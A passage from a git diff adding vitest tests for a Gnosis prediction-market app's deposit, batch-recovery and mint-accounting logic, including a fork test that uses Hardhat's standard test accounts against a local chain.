outcomeIsToken0: true }, + }, + }), + }); + + await expect(buildPredict(snapshot(), { reader, onLeftOut: (each) => leftOut.push(each) })).rejects.toBeInstanceOf( + AtEstimatesError, + ); + expect(leftOut).toHaveLength(1); + }); + + it("refuses the batch when nothing in it will route", async () => { + await expect(buildPredict(snapshot(), { quoter: fakeQuoter({ refuse: () => true }) })).rejects.toThrow(/no route/i); + }); + + it("splits the underlying the executor already holds, not only what was deposited", async () => { + const { tx } = await buildPredict(snapshot({ collateralIn: WAD, deposit: WAD }), { + reader: fakeReader({ state: () => chainState({ underlying: WAD * 2n }) }), + }); + const calls = innerCalls(tx.data!); + + // the child split takes the 2 already held plus the 1 the parent split is about to mint, + // and approves the parent's outcome token while naming the session's collateral + expect(calls[2]!.to).toBe(option(1).underlying); + expect(decodeFunctionData({ abi: gnosisRouterAbi, data: calls[3]!.data }).args).toEqual([ + addresses.collateral, + option(1).childMarket, + WAD * 3n, + ]); + }); +}); + +describe("the deposit step", () => { + const depositStep = (snap = snapshot()) => planPredict(snap, deps()).find((step) => step.id === STEP_ID.deposit)!; + + it("transfers the collateral itself by default", async () => { + const tx = await depositStep().build(ctx(), snapshot()); + + expect(tx.to).toBe(addresses.collateral); + expect(decodeFunctionData({ abi: erc20Abi, data: tx.data! }).args).toEqual([addresses.executor, WAD]); + }); + + it("routes xDAI through the savings adapter", async () => { + const snap = snapshot({ depositNative: true }); + const tx = await depositStep(snap).build(ctx(), snap); + + expect(tx.to).toBe(addresses.sDaiAdapter); + expect(tx.value).toBe(WAD); + }); + + it("refuses xDAI on a chain with no adapter", async () => { + const snap = snapshot({ depositNative: true }); + + await expect(async () => depositStep(snap).build(ctx({ sDaiAdapter: null }), snap)).rejects.toThrow(/xDAI/); + }); +}); + +describe("skipping a step that has already landed", () => { + const step = (id: string, snap: PredictSnapshot, landed: LandedTx[], pending = false) => + planPredict(snap, deps({ reader: fakeReader({ landed, pending: () => pending }) })).find((each) => each.id === id)!; + + it.each([ + ["an sDAI deposit", snapshot({ deposit: WAD * 4n, collateralAtStart: WAD * 6n })], + ["an xDAI deposit", snapshot({ deposit: WAD * 5n, depositNative: true, collateralAtStart: WAD * 6n })], + ])("skips %s once its own transaction has landed, and not on money that arrived some other way", async (_, snap) => { + const deposit = await step(STEP_ID.deposit, snap, []).build(ctx(), snap); + const another = { ...deposit, value: (deposit.value ?? 0n) + 1n }; + + await expect(step(STEP_ID.deposit, snap, [landedTx(deposit)]).canSkip!(ctx(), snap)).resolves.toBe(true); + await expect(step(STEP_ID.deposit, snap, [landedTx(another)]).canSkip!(ctx(), snap)).resolves.toBe(false); + await expect(step(STEP_ID.deposit, snap, []).canSkip!(ctx(), snap)).resolves.toBe(false); + await expect(step(STEP_ID.deposit, snap, [], true).canSkip!(ctx(), snap)).rejects.toBeInstanceOf(TxPendingError); + }); + + it("skips an sDAI run's first batch once a batch splitting its amount at its parent landed", async () => { + const snap = snapshot({ deposit: 0n, collateralIn: WAD * 2n, collateralBefore: WAD * 10n }); + const batch = await step(STEP_ID.predict(1), snap, []).build(ctx(), snap); + const other = await step(STEP_ID.predict(1), snap, []).build(ctx(), { ...snap, collateralIn: WAD }); + + await expect(step(STEP_ID.predict(1), snap, [landedTx(batch)]).canSkip!(ctx(), snap)).resolves.toBe(true); + await expect(step(STEP_ID.predict(1), snap, [landedTx(other)]).canSkip!(ctx(), snap)).resolves.toBe(false); + await expect(step(STEP_ID.predict(1), snap, [], true).canSkip!(ctx(), snap)).rejects.toBeInstanceOf(TxPendingError); + }); + + it("never reads an unfunded first batch as landed from another batch on the trade wallet", async () => { + const snap = snapshot({ deposit: 0n, collateralIn: 0n, collateralBefore: 0n }); + const withdraw = withdrawTx({ + executor: addresses.executor, + recipient: addresses.owner, + assets: [{ token: addresses.collateral, amount: WAD }], + }); + + await expect(step(STEP_ID.predict(1), snap, [landedTx(withdraw)]).canSkip!(ctx(), snap)).resolves.toBe(false); + }); + + it("finds a deposit that mines between its two reads, landed or pending, never neither", async () => { + const snap = snapshot({ deposit: WAD * 4n }); + const deposit = await step(STEP_ID.deposit, snap, []).build(ctx(), snap); + // the deposit is in the mempool for the first read, whichever it is, and mined for the second + let mined = false; + const read = (answer: () => T) => { + const value = answer(); + mined = true; + return Promise.resolve(value); + }; + const reader = { + ...fakeReader(), + landedSince: () => read(() => (mined ? [landedTx(deposit)] : [])), + hasPending: () => read(() => !mined), + }; + const canSkip = planPredict(snap, deps({ reader })).find((each) => each.id === STEP_ID.deposit)!.canSkip!; + + await expect(canSkip(ctx(), snap)).resolves.toBe(true); + }); +}); + +describe("createPredictHooks", () => { + const deposited = { + stepId: STEP_ID.deposit, + label: "Add money", + outcome: { status: "confirmed" as const, hash: "0x1" as const, blockNumber: 1n }, + }; + const receipt = (minted: bigint) => ({ logs: [mintLog(minted)] }) as unknown as TransactionReceipt; + + it("splits what an xDAI deposit's receipt shows it minted, not the trade wallet's balance", async () => { + const hooks = createPredictHooks({ reader: fakeReader({ collateral: WAD * 70n }) }); + + const result = await hooks.afterStep!({ + ctx: ctx(), + snapshot: snapshot({ depositNative: true }), + completed: deposited, + receipt: receipt(WAD * 7n), + pending: [], + }); + + expect(result).toEqual({ snapshotPatch: { collateralIn: WAD * 7n, mintFinalized: true } }); + }); + + it.each([ + ["the cache 2 below the chain", WAD * 3n, WAD * 9n, WAD * 6n, WAD * 9n], + ["the cache at 0", 0n, WAD * 10n, WAD * 10n, WAD * 10n], + ])( + "splits what an xDAI deposit minted plus the trade-wallet share shown (%s)", + async (_, shown, estimate, minted, expected) => { + const hooks = createPredictHooks({ reader: fakeReader() }); + + const result = await hooks.afterStep!({ + ctx: ctx(), + snapshot: snapshot({ depositNative: true, collateralIn: estimate, collateralBefore: shown }), + completed: deposited, + receipt: receipt(minted), + pending: [], + }); + + expect(result).toEqual({ snapshotPatch: { collateralIn: expected, mintFinalized: true } }); + }, + ); + + it("reads a skipped xDAI deposit's mint from its own landed transaction", async () => { + const snap = snapshot({ depositNative: true, deposit: WAD * 5n }); + const deposit = await planPredict(snap, deps()) + .find((each) => each.id === STEP_ID.deposit)! + .build(ctx(), snap); + const hooks = createPredictHooks({ reader: fakeReader({ landed: [landedTx(deposit, WAD * 4n)] }) }); + + const result = await hooks.afterStep!({ + ctx: ctx(), + snapshot: snap, + completed: { stepId: STEP_ID.deposit, label: "Add money", outcome: { status: "skipped" } }, + receipt: null, + pending: [], + }); + + expect(result).toEqual({ snapshotPatch: { collateralIn: WAD * 4n, mintFinalized: true } }); + }); + + it("takes a collateral deposit at the amount that was asked for", async () => { + const hooks = createPredictHooks({ reader: fakeReader({ collateral: WAD * 7n }) }); + + const result = await hooks.afterStep!({ + ctx: ctx(), + snapshot: snapshot(), + completed: deposited, + receipt: null, + pending: [], + }); + + expect(result).toBeUndefined(); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/plan.witness.test.ts b/apps/web/src/features/predict/flow/__tests__/plan.witness.test.ts new file mode 100644 index 00000000..82fd82f5 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/plan.witness.test.ts @@ -0,0 +1,201 @@ +import { + encodeAbiParameters, + encodeEventTopics, + encodeFunctionData, + erc20Abi, + parseAbi, + type Address, + type Hex, + type TransactionReceipt, +} from "viem"; +import { describe, expect, it, vi } from "vitest"; + +import { gnosisRouterAbi, tradeExecutorAbi } from "@/config/contracts"; + +import { createPredictHooks, depositMintPatch, planPredict, STEP_ID } from "../plan"; +import type { PredictCtx, PredictSnapshot } from "../types"; +import { addresses, ctx, fakeQuoter, fakeReader, landedTx, mintLog, snapshot } from "./support/fakes"; + +const other: Address = "0x00000000000000000000000000000000000000ee"; +const split = ( + collateral = addresses.collateral, + parent = addresses.parentMarket, + name: "splitPosition" | "mergePositions" = "splitPosition", +) => encodeFunctionData({ abi: gnosisRouterAbi, functionName: name, args: [collateral, parent, 10n] }); +const batch = (calls: { to: Address; data: Hex }[]) => + encodeFunctionData({ abi: tradeExecutorAbi, functionName: "batchExecute", args: [calls] }); +const native = (parent = addresses.parentMarket) => + encodeFunctionData({ abi: gnosisRouterAbi, functionName: "splitFromBase", args: [parent] }); +const credit = { + to: addresses.manager, + data: encodeFunctionData({ + abi: parseAbi(["function execute(address,bytes,uint256,address)"]), + functionName: "execute", + args: [addresses.swapRouter, "0x", 7n, addresses.wxdai], + }), +}; +async function witnessed( + input: Hex, + to = addresses.executor, + snap: PredictSnapshot = snapshot({ collateralIn: 10n }), + context: PredictCtx = ctx(), +) { + const reader = fakeReader({ landed: [landedTx({ to, data: input })] }); + const step = planPredict(snap, { reader, quoter: fakeQuoter() }).find((each) => each.id === STEP_ID.predict(1))!; + return step.canSkip!(context, snap); +} + +describe("first-batch recovery witnesses", () => { + it.each([ + ["another executor", batch([{ to: addresses.router, data: split() }]), other], + ["malformed batch", "0xdeadbeef", addresses.executor], + ["another router", batch([{ to: other, data: split() }]), addresses.executor], + [ + "merge instead of split", + batch([{ to: addresses.router, data: split(addresses.collateral, addresses.parentMarket, "mergePositions") }]), + addresses.executor, + ], + ["another collateral", batch([{ to: addresses.router, data: split(other) }]), addresses.executor], + ["malformed router call", batch([{ to: addresses.router, data: "0xdeadbeef" }]), addresses.executor], + ] satisfies [string, Hex, Address][])("does not adopt %s as the collateral split", async (_, input, to) => { + await expect(witnessed(input, to)).resolves.toBe(false); + }); + + it("adopts a matching collateral split without a credits route", async () => { + await expect( + witnessed( + batch([{ to: addresses.router, data: split() }]), + addresses.executor, + snapshot({ collateralIn: 10n }), + ctx({ credits: null }), + ), + ).resolves.toBe(true); + }); + + it.each([ + ["another parent", native(other)], + [ + "another function", + encodeFunctionData({ + abi: gnosisRouterAbi, + functionName: "splitPosition", + args: [addresses.parentMarket, addresses.parentMarket, 7n], + }), + ], + ["malformed native split", "0xdeadbeef"], + ] satisfies [string, Hex][])("does not adopt credits with %s", async (_, data) => { + await expect( + witnessed( + batch([credit, { to: addresses.router, data }]), + addresses.executor, + snapshot({ collateralIn: 0n, creditsToSpend: 7n }), + ), + ).resolves.toBe(false); + }); + + it("cannot witness credits when their manager is unavailable", async () => { + await expect( + witnessed( + batch([credit, { to: addresses.router, data: native() }]), + addresses.executor, + snapshot({ collateralIn: 0n, creditsToSpend: 7n }), + ctx({ credits: null }), + ), + ).resolves.toBe(false); + }); + + it("binds recovery reads to the owner, executor and pinned block", async () => { + const snap = snapshot({ fromBlock: 4321n }); + const reader = fakeReader(); + reader.landedSince = vi.fn().mockResolvedValue([]); + const step = planPredict(snap, { reader, quoter: fakeQuoter() }).find((each) => each.id === STEP_ID.deposit)!; + await expect(step.canSkip!(ctx(), snap)).resolves.toBe(false); + expect(reader.landedSince).toHaveBeenCalledExactlyOnceWith({ + owner: addresses.owner, + executor: addresses.executor, + fromBlock: 4321n, + }); + }); + + it("adopts a matching credits-only batch without a collateral split", async () => { + await expect( + witnessed( + batch([credit, { to: addresses.router, data: native() }]), + addresses.executor, + snapshot({ collateralIn: 0n, creditsToSpend: 7n }), + ), + ).resolves.toBe(true); + }); + + it("does not adopt the executor's owner read as a landed batch", async () => { + const data = encodeFunctionData({ abi: tradeExecutorAbi, functionName: "owner" }); + await expect(witnessed(data)).resolves.toBe(false); + }); +}); + +describe("native deposit accounting", () => { + const snap = snapshot({ + depositNative: true, + deposit: 10n, + collateralIn: 13n, + collateralBefore: 3n, + collateralAtStart: 3n, + }); + it("adds the retained collateral to the witnessed mint", async () => { + const data = encodeFunctionData({ + abi: parseAbi(["function depositXDAI(address) payable"]), + functionName: "depositXDAI", + args: [addresses.executor], + }); + const reader = fakeReader({ + landed: [{ ...landedTx({ to: addresses.sDaiAdapter, data, value: 10n }), collateralReceived: 10n }], + }); + await expect(depositMintPatch({ reader }, ctx(), snap)).resolves.toEqual({ + collateralIn: 13n, + mintFinalized: true, + }); + }); + it("refuses to finalize a deposit absent from the chain", async () => { + await expect(depositMintPatch({ reader: fakeReader() }, ctx(), snap)).rejects.toThrow( + "The deposit's transaction was not found on chain.", + ); + }); + it("counts only collateral transfers into this executor", async () => { + const incoming = mintLog(10n); + const logs = [ + incoming, + { ...incoming, address: other }, + { + ...incoming, + topics: encodeEventTopics({ + abi: erc20Abi, + eventName: "Transfer", + args: { from: addresses.sDaiAdapter, to: other }, + }), + }, + { + ...incoming, + topics: encodeEventTopics({ + abi: erc20Abi, + eventName: "Approval", + args: { owner: addresses.owner, spender: addresses.executor }, + }), + data: encodeAbiParameters([{ type: "uint256" }], [99n]), + }, + ]; + // Only logs are consumed by this hook; the gateway owns the receipt envelope. + const receipt = { logs } as unknown as TransactionReceipt; + const result = await createPredictHooks({ reader: fakeReader() }).afterStep!({ + ctx: ctx(), + snapshot: snap, + completed: { + stepId: STEP_ID.deposit, + label: "Deposit", + outcome: { status: "confirmed", hash: "0x1", blockNumber: 1n }, + }, + receipt, + pending: [], + }); + expect(result).toEqual({ snapshotPatch: { collateralIn: 13n, mintFinalized: true } }); + }); +}); diff --git a/apps/web/src/features/predict/flow/__tests__/predict.fork.test.ts b/apps/web/src/features/predict/flow/__tests__/predict.fork.test.ts new file mode 100644 index 00000000..03cb57f3 --- /dev/null +++ b/apps/web/src/features/predict/flow/__tests__/predict.fork.test.ts @@ -0,0 +1,2692 @@ +import { + createFlowRunStore, + createMemoryStorage, + createViemTxGateway, + type FlowRunStorage, + type FlowTx, +} from "@foresight/tx-orchestrator"; +import { + createPublicClient, + createWalletClient, + decodeFunctionData, + encodeFunctionData, + erc20Abi, + http, + parseAbi, + parseEther, + parseEventLogs, + TimeoutError, + type Address, + type Hash, + type Hex, + type Log, + type TransactionReceipt, + type PrivateKeyAccount, + type PublicClient, + type WalletClient, +} from "viem"; +import { privateKeyToAccount } from "viem/accounts"; +import { gnosis } from "viem/chains"; +import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; + +import { + gasPaid, + moved, + outsideRecipients, + readLedger, + signedOptions, + tokensOf, + type Ledger, + type LedgerScope, +} from "./support/ledger"; +import { CREDITS_SLIPPAGE_BPS, DEFAULT_SLIPPAGE, DUST_WEI } from "../../oracle/tolerances"; +import { fundingRequest, planFunding, shownSplit, type Funding } from "../../utils/funding"; +import type { PredictCtx, PredictOption, PredictRequest, PredictSnapshot } from "../types"; + +/** + * The app's modules read validated env when they load, so they are pulled in inside the test + * rather than at the top: with no fork configured this file has to load and skip, not throw. + */ +const load = async () => ({ + ...(await import("@/lib/swap/lens")), + ...(await import("@/lib/swap/algebraPool")), + ...(await import("@/lib/trade-executor/executor")), + ...(await import("@/config/contracts")), + ...(await import("../../api/getOptionPools")), + ...(await import("../../utils/poolMath")), + ...(await import("../../run/reader")), + ...(await import("../plan")), + ...(await import("../../run/driver")), + ...(await import("@/lib/trade-executor/credits")), + ...(await import("@/lib/trade-executor/funding")), + ...(await import("../../utils/credits")), + ...(await import("../../utils/plan")), +}); + +/** + * The predict flow against a real chain: `yarn local-stack gnosis-fork`, then + * `yarn simulate:session:gnosis-fork --liquidity`, then this with FORK_RPC_URL set. + * + * Nothing else exercises the calldata. Every unit test above proves the plan is the plan we + * meant; only this proves Seer's router and Swapr's pools accept it. + */ +const FORK_RPC_URL = process.env.FORK_RPC_URL; +/** A cold fork pulls state from upstream Gnosis on first touch; a large multicall can take tens of seconds. */ +const FORK_RPC_TIMEOUT_MS = 60_000; +const HASURA_URL = process.env.FORK_HASURA_URL ?? "http://localhost:8080/v1/graphql"; +const HASURA_SECRET = process.env.FORK_HASURA_SECRET ?? "testing"; +/** Hardhat's first account, which a fork funds. */ +const OWNER_KEY = "0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" as const; + +/** Seer's LensQuoter on Gnosis, which quotes every swap. */ +const LENS_QUOTER = "0x82150d38288e53AfcF20a5eEee47682c5Ef796d8" as const; + +/** `yarn local-stack gnosis-fork` copies the LensQuoter onto the fork; its pinned block predates it. */ +async function requireLensQuoter(rpcUrl: string): Promise { + const response = await fetch(rpcUrl, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "eth_getCode", params: [LENS_QUOTER, "latest"] }), + }); + const code = ((await response.json()) as { result?: string }).result; + if (!code || code === "0x") + throw new Error("The fork has no LensQuoter. Start it with `yarn local-stack gnosis-fork`."); +} + +const DEPOSIT = parseEther("50"); +const CHAIN_ID = 100; + +interface ForkSession { + id: string; + parentMarket: Address; + collateralToken: Address; + children: Array<{ + id: Address; + upToken: Address; + downToken: Address; + invalidToken: Address; + underlyingToken: Address; + lowerBound: string; + upperBound: string; + }>; +} + +const poolOptions = (session: ForkSession) => + session.children.map((child) => ({ + childMarket: child.id, + underlying: child.underlyingToken, + upToken: child.upToken, + downToken: child.downToken, + })); + +async function newestSessionWithPools(): Promise { + const response = await fetch(HASURA_URL, { + method: "POST", + headers: { "content-type": "application/json", "x-hasura-admin-secret": HASURA_SECRET }, + body: JSON.stringify({ + query: `{ Session(where: {children: {pools: {id: {_is_null: false}}}}, order_by: {openedAt: desc}, limit: 1) { id parentMarket collateralToken + children { id upToken downToken invalidToken underlyingToken lowerBound upperBound } } }`, + }), + }); + const body = (await response.json()) as { data: { Session: ForkSession[] } }; + const session = body.data.Session[0]; + if (!session) + throw new Error("No session with pools indexed. Run `yarn simulate:session:gnosis-fork --liquidity` first."); + return session; +} + +describe("the predict flow, against a gnosis fork", () => { + const account = privateKeyToAccount(OWNER_KEY); + let client: PublicClient; + let wallet: WalletClient; + let session: ForkSession; + + beforeAll(async () => { + if (!FORK_RPC_URL) return; + const transport = http(FORK_RPC_URL, { timeout: FORK_RPC_TIMEOUT_MS }); + client = createPublicClient({ chain: gnosis, transport }) as PublicClient; + wallet = createWalletClient({ account, chain: gnosis, transport }); + await requireLensQuoter(FORK_RPC_URL!); + session = await newestSessionWithPools(); + }, 120_000); + + // the later describes need the pools where the session seeded them + let snapshotId: string; + beforeEach(async () => { + if (!FORK_RPC_URL) return; + snapshotId = await rpc("evm_snapshot"); + }); + afterEach(async () => { + if (!FORK_RPC_URL) return; + await revertTo(snapshotId); + }); + + it.skipIf(!FORK_RPC_URL)( + "moves the pools toward the visitor's estimates", + async () => { + const { + createLensQuoter, + readPoolLiquidity, + fetchExecutorState, + gnosisRouterAddress, + sDaiAdapterAbi, + sDaiDepositRoute, + tradeExecutorFactoryAddress, + fetchSessionPools, + optionPoolRefs, + priceFromSqrtPriceX96, + createPredictReader, + planPredict, + assertRoutes, + NoRouteError, + } = await load(); + + const collateral = session.collateralToken; + const router = gnosisRouterAddress(CHAIN_ID); + const factory = tradeExecutorFactoryAddress(CHAIN_ID); + const route = sDaiDepositRoute(collateral, CHAIN_ID); + if (!router || !factory || !route) throw new Error("This chain is missing the Seer deployment."); + + // the owner needs the session's collateral before the flow can move any of it + const minted = await wallet.sendTransaction({ + account, + chain: gnosis, + to: route.sDaiAdapter, + value: DEPOSIT * 2n, + data: encodeFunctionData({ abi: sDaiAdapterAbi, functionName: "depositXDAI", args: [account.address] }), + }); + await client.waitForTransactionReceipt({ hash: minted }); + + const { predicted } = await fetchExecutorState(client, { factory, owner: account.address }); + + const child = session.children[0]!; + const before = await readPoolLiquidity( + client, + optionPoolRefs(await fetchSessionPools(client, poolOptions(session)), child.id).up!, + ); + const priceBefore = priceFromSqrtPriceX96(before.sqrtPriceX96, before.outcomeIsToken0); + + // one option, asked to move well above where the pool sits; an earlier run on this session may + // already have moved it, so the target is set from the price now + const option: PredictOption = { + childMarket: child.id, + underlying: child.underlyingToken, + upToken: child.upToken, + downToken: child.downToken, + invalidToken: child.invalidToken, + targetPriceWad: priceBefore + (10n ** 18n - priceBefore) / 2n, + }; + + const ctx: PredictCtx = { + chainId: CHAIN_ID, + owner: account.address, + executor: predicted, + factory, + router, + collateral, + parentMarket: session.parentMarket, + sDaiAdapter: route.sDaiAdapter, + credits: null, + }; + const snapshot: PredictSnapshot = { + options: [option], + deposit: DEPOSIT, + depositNative: false, + collateralIn: DEPOSIT, + collateralBefore: 0n, + creditsFromEoa: 0n, + creditsToSpend: 0n, + creditsAtStart: 0n, + // read from the chain the way the run reads it when it starts + collateralAtStart: await createPredictReader({ client, sessionId: session.id, collateral }).collateralBalance( + ctx.executor, + ), + fromBlock: (await client.getBlockNumber()) + 1n, + slippage: { tradeBps: 300, creditsBps: CREDITS_SLIPPAGE_BPS }, + optionsPerBatch: 1, + startedAt: Math.floor(Date.now() / 1000), + }; + + const reader = createPredictReader({ client, sessionId: session.id, collateral }); + const leftOut: string[] = []; + const deps = { + reader, + quoter: createLensQuoter(client, CHAIN_ID), + onLeftOut: (each: PredictOption, reason: unknown) => leftOut.push(`${each.childMarket}: ${String(reason)}`), + }; + const steps = planPredict(snapshot, deps); + + // the route check passes what the run will trade, and refuses dust for a wallet holding nothing + await assertRoutes(ctx, snapshot, deps); + const empty = { ...ctx, executor: "0x000000000000000000000000000000000000dEaD" as Address }; + const dust = { ...snapshot, deposit: 10n ** 15n, collateralIn: 10n ** 15n }; + await expect(assertRoutes(empty, dust, deps)).rejects.toBeInstanceOf(NoRouteError); + + const scope: LedgerScope = { + owner: account.address, + executor: predicted, + manager: account.address, + passThrough: [router, SWAPR_ROUTER, route.sDaiAdapter], + collateral, + wxdai: collateral, + credits: collateral, + options: [option], + }; + const ledgerBefore = await readLedger(client, scope); + const receipts: TransactionReceipt[] = []; + const signed: Array<{ id: string; data: Hex }> = []; + + for (const step of steps) { + if (await step.canSkip?.(ctx, snapshot)) continue; + + let tx; + try { + // `build` may answer synchronously, so this cannot be a rejection handler + tx = await step.build(ctx, snapshot); + } catch (reason) { + throw new Error(`${step.id} could not be built: ${String(reason)}\n${leftOut.join("\n")}`); + } + const hash = await wallet.sendTransaction({ + account, + chain: gnosis, + to: tx.to, + data: tx.data, + value: tx.value, + }); + const receipt = await client.waitForTransactionReceipt({ hash }); + expect(receipt.status, `${step.id} reverted`).toBe("success"); + receipts.push(receipt); + signed.push({ id: step.id, data: tx.data ?? "0x" }); + } + await expectCoreMoneyKept({ + client, + scope, + before: ledgerBefore, + after: await readLedger(client, scope), + receipts, + deposit: DEPOSIT, + router, + option, + sent: signed, + }); + + const after = await readPoolLiquidity( + client, + optionPoolRefs(await fetchSessionPools(client, poolOptions(session)), child.id).up!, + ); + const priceAfter = priceFromSqrtPriceX96(after.sqrtPriceX96, after.outcomeIsToken0); + + // the estimate is above the market, so the prediction has to have bid the UP token up + expect(priceAfter).toBeGreaterThan(priceBefore); + + // and the executor is left holding the side it bought + const held = await client.readContract({ + address: option.upToken, + abi: erc20Abi, + functionName: "balanceOf", + args: [predicted], + }); + expect(held).toBeGreaterThan(0n); + }, + 600_000, + ); +}); + +/** Hardhat's second and third accounts: one trades against the visitor, one provides liquidity. */ +const RIVAL_KEY = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d" as const; +const LP_KEY = "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a" as const; + +/** Swapr's Algebra periphery on Gnosis: the router Lens routes every swap through, and its position manager. */ +const SWAPR_ROUTER = "0xfFB643E73f280B97809A8b41f7232AB401a04ee1" as const; +const POSITION_MANAGER = "0x91fD594c46D8B01E62dBDeBed2401dde01817834" as const; + +const SWAPR_ROUTER_ABI = parseAbi([ + "function exactInputSingle((address tokenIn, address tokenOut, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 limitSqrtPrice) params) payable returns (uint256 amountOut)", +]); +const POSITION_MANAGER_ABI = parseAbi([ + "function mint((address token0, address token1, int24 tickLower, int24 tickUpper, uint256 amount0Desired, uint256 amount1Desired, uint256 amount0Min, uint256 amount1Min, address recipient, uint256 deadline) params) payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1)", +]); +const TICK_SPACING_ABI = parseAbi(["function tickSpacing() view returns (int24)"]); +/** Algebra's pool event; amounts are the pool's deltas, so the input side includes the fee. */ +const ALGEBRA_EVENTS_ABI = parseAbi([ + "event Swap(address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 price, uint128 liquidity, int24 tick)", + "function globalState() view returns (uint160 price, int24 tick, uint16 fee, uint16 timepointIndex, uint8 communityFeeToken0, uint8 communityFeeToken1, bool unlocked)", +]); +/** Algebra quotes its fee in millionths of the input. */ +const FEE_DENOMINATOR = 1_000_000n; + +const WAD = 10n ** 18n; +const Q96 = 2n ** 96n; +/** How far each estimate sits from the pool it is placed against. */ +const MOVE = (WAD * 8n) / 100n; +/** An estimate this close to its pool fills almost entirely at the cap, so the fee decides the average. */ +const NEAR = (WAD * 5n) / 10_000n; +/** A concentrated position this many times the pool's own liquidity. */ +const LP_MULTIPLE = 4n; +/** A rival's price move between quote and execution, in hundredths of a percent: inside the 1% slippage. */ +const RIVAL_MOVE_BPS = 40n; + +async function rpc(method: string, params: unknown[] = []): Promise { + const response = await fetch(FORK_RPC_URL!, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ jsonrpc: "2.0", id: 1, method, params }), + }); + const body = (await response.json()) as { result: T; error?: { message: string } }; + if (body.error) throw new Error(`${method}: ${body.error.message}`); + return body.result; +} + +/** The highest block any test reached before rewinding; a rewound height is re-mined with a new hash. */ +let highestBlock = 0n; + +async function revertTo(snapshotId: string) { + const head = BigInt(await rpc("eth_blockNumber")); + if (head > highestBlock) highestBlock = head; + await rpc("evm_revert", [snapshotId]); +} + +// The indexer reads a rewound height as a reorg; mining past every height reached lets it settle +// on empty blocks before anything else is seeded on the fork. +afterAll(async () => { + if (!FORK_RPC_URL || highestBlock === 0n) return; + const head = BigInt(await rpc("eth_blockNumber")); + if (head <= highestBlock) await rpc("hardhat_mine", [`0x${(highestBlock - head + 1n).toString(16)}`]); +}); + +/** Algebra's tick for a raw token1-per-token0 sqrt price. Floats are fine for a fixture's range. */ +const tickAt = (sqrtPriceX96: bigint): number => Math.log((Number(sqrtPriceX96) / 2 ** 96) ** 2) / Math.log(1.0001); +const sqrtAtTick = (tick: number): bigint => BigInt(Math.round(Math.sqrt(1.0001 ** tick) * 2 ** 96)); + +describe("price limits on every swap leg, against a gnosis fork", () => { + const owner = privateKeyToAccount(OWNER_KEY); + let client: PublicClient; + let wallet: WalletClient; + let session: ForkSession; + let snapshotId: string; + let app: Awaited>; + let tolerances: typeof import("../../oracle/tolerances"); + + beforeAll(async () => { + if (!FORK_RPC_URL) return; + const transport = http(FORK_RPC_URL, { timeout: FORK_RPC_TIMEOUT_MS }); + client = createPublicClient({ chain: gnosis, transport }) as PublicClient; + wallet = createWalletClient({ chain: gnosis, transport }); + await requireLensQuoter(FORK_RPC_URL); + session = await newestSessionWithPools(); + app = await load(); + tolerances = await import("../../oracle/tolerances"); + }, 120_000); + + beforeEach(async () => { + if (!FORK_RPC_URL) return; + snapshotId = await rpc("evm_snapshot"); + // other fork runs spend from these accounts outside any snapshot + for (const key of [OWNER_KEY, RIVAL_KEY, LP_KEY]) { + await rpc("hardhat_setBalance", [privateKeyToAccount(key).address, `0x${parseEther("10000").toString(16)}`]); + } + }); + + afterEach(async () => { + if (!FORK_RPC_URL) return; + await revertTo(snapshotId); + }); + + type Side = "up" | "down"; + + const send = async (from: PrivateKeyAccount, to: Address, data: Hex = "0x", value = 0n) => { + // an Algebra mint's estimate can fall short of what the next block charges it, as a wallet's margin covers + const gas = ((await client.estimateGas({ account: from, to, data, value })) * 3n) / 2n; + const hash = await wallet.sendTransaction({ account: from, chain: gnosis, to, data, value, gas }); + const receipt = await client.waitForTransactionReceipt({ hash }); + if (receipt.status !== "success") throw new Error(`${to} reverted`); + return receipt; + }; + + const deadline = async () => (await client.getBlock()).timestamp + 3600n; + + /** Mints `xdai` worth of the session's collateral to `to`, and returns what landed. */ + async function fundCollateral(to: PrivateKeyAccount, xdai: bigint): Promise { + const route = app.sDaiDepositRoute(session.collateralToken, CHAIN_ID)!; + const before = await balance(session.collateralToken, to.address); + await send( + to, + route.sDaiAdapter, + encodeFunctionData({ abi: app.sDaiAdapterAbi, functionName: "depositXDAI", args: [to.address] }), + xdai, + ); + return (await balance(session.collateralToken, to.address)) - before; + } + + const balance = (token: Address, holder: Address) => + client.readContract({ address: token, abi: erc20Abi, functionName: "balanceOf", args: [holder] }); + + async function approve(from: PrivateKeyAccount, token: Address, spender: Address, amount: bigint) { + await send(from, token, encodeFunctionData({ abi: erc20Abi, functionName: "approve", args: [spender, amount] })); + } + + /** Splits `amount` of `deposited` at `market`, the way the app does. */ + async function split(from: PrivateKeyAccount, deposited: Address, market: Address, amount: bigint) { + const router = app.gnosisRouterAddress(CHAIN_ID)!; + await approve(from, deposited, router, amount); + await send( + from, + router, + encodeFunctionData({ + abi: app.gnosisRouterAbi, + functionName: "splitPosition", + args: [session.collateralToken, market, amount], + }), + ); + } + + /** An account holding `amount` of every child's underlying, and of `child`'s outcome tokens when asked. */ + async function fundOutcomes(from: PrivateKeyAccount, child: ForkSession["children"][number], outcomes: boolean) { + const collateral = await fundCollateral(from, parseEther("400")); + await split(from, session.collateralToken, session.parentMarket, collateral); + if (outcomes) await split(from, child.underlyingToken, child.id, collateral / 2n); + } + + const optionFor = (child: ForkSession["children"][number], targetPriceWad: bigint): PredictOption => ({ + childMarket: child.id, + underlying: child.underlyingToken, + upToken: child.upToken, + downToken: child.downToken, + invalidToken: child.invalidToken, + targetPriceWad, + }); + + // A session can be indexed before its pools are created. + const poolRef = async (child: ForkSession["children"][number], side: Side) => { + const deadline = Date.now() + 60_000; + for (;;) { + const ref = app.optionPoolRefs(await app.fetchSessionPools(client, poolOptions(session)), child.id)[side]; + if (ref) return ref; + if (Date.now() > deadline) throw new Error(`${child.id} has no ${side} pool.`); + await new Promise((resolve) => 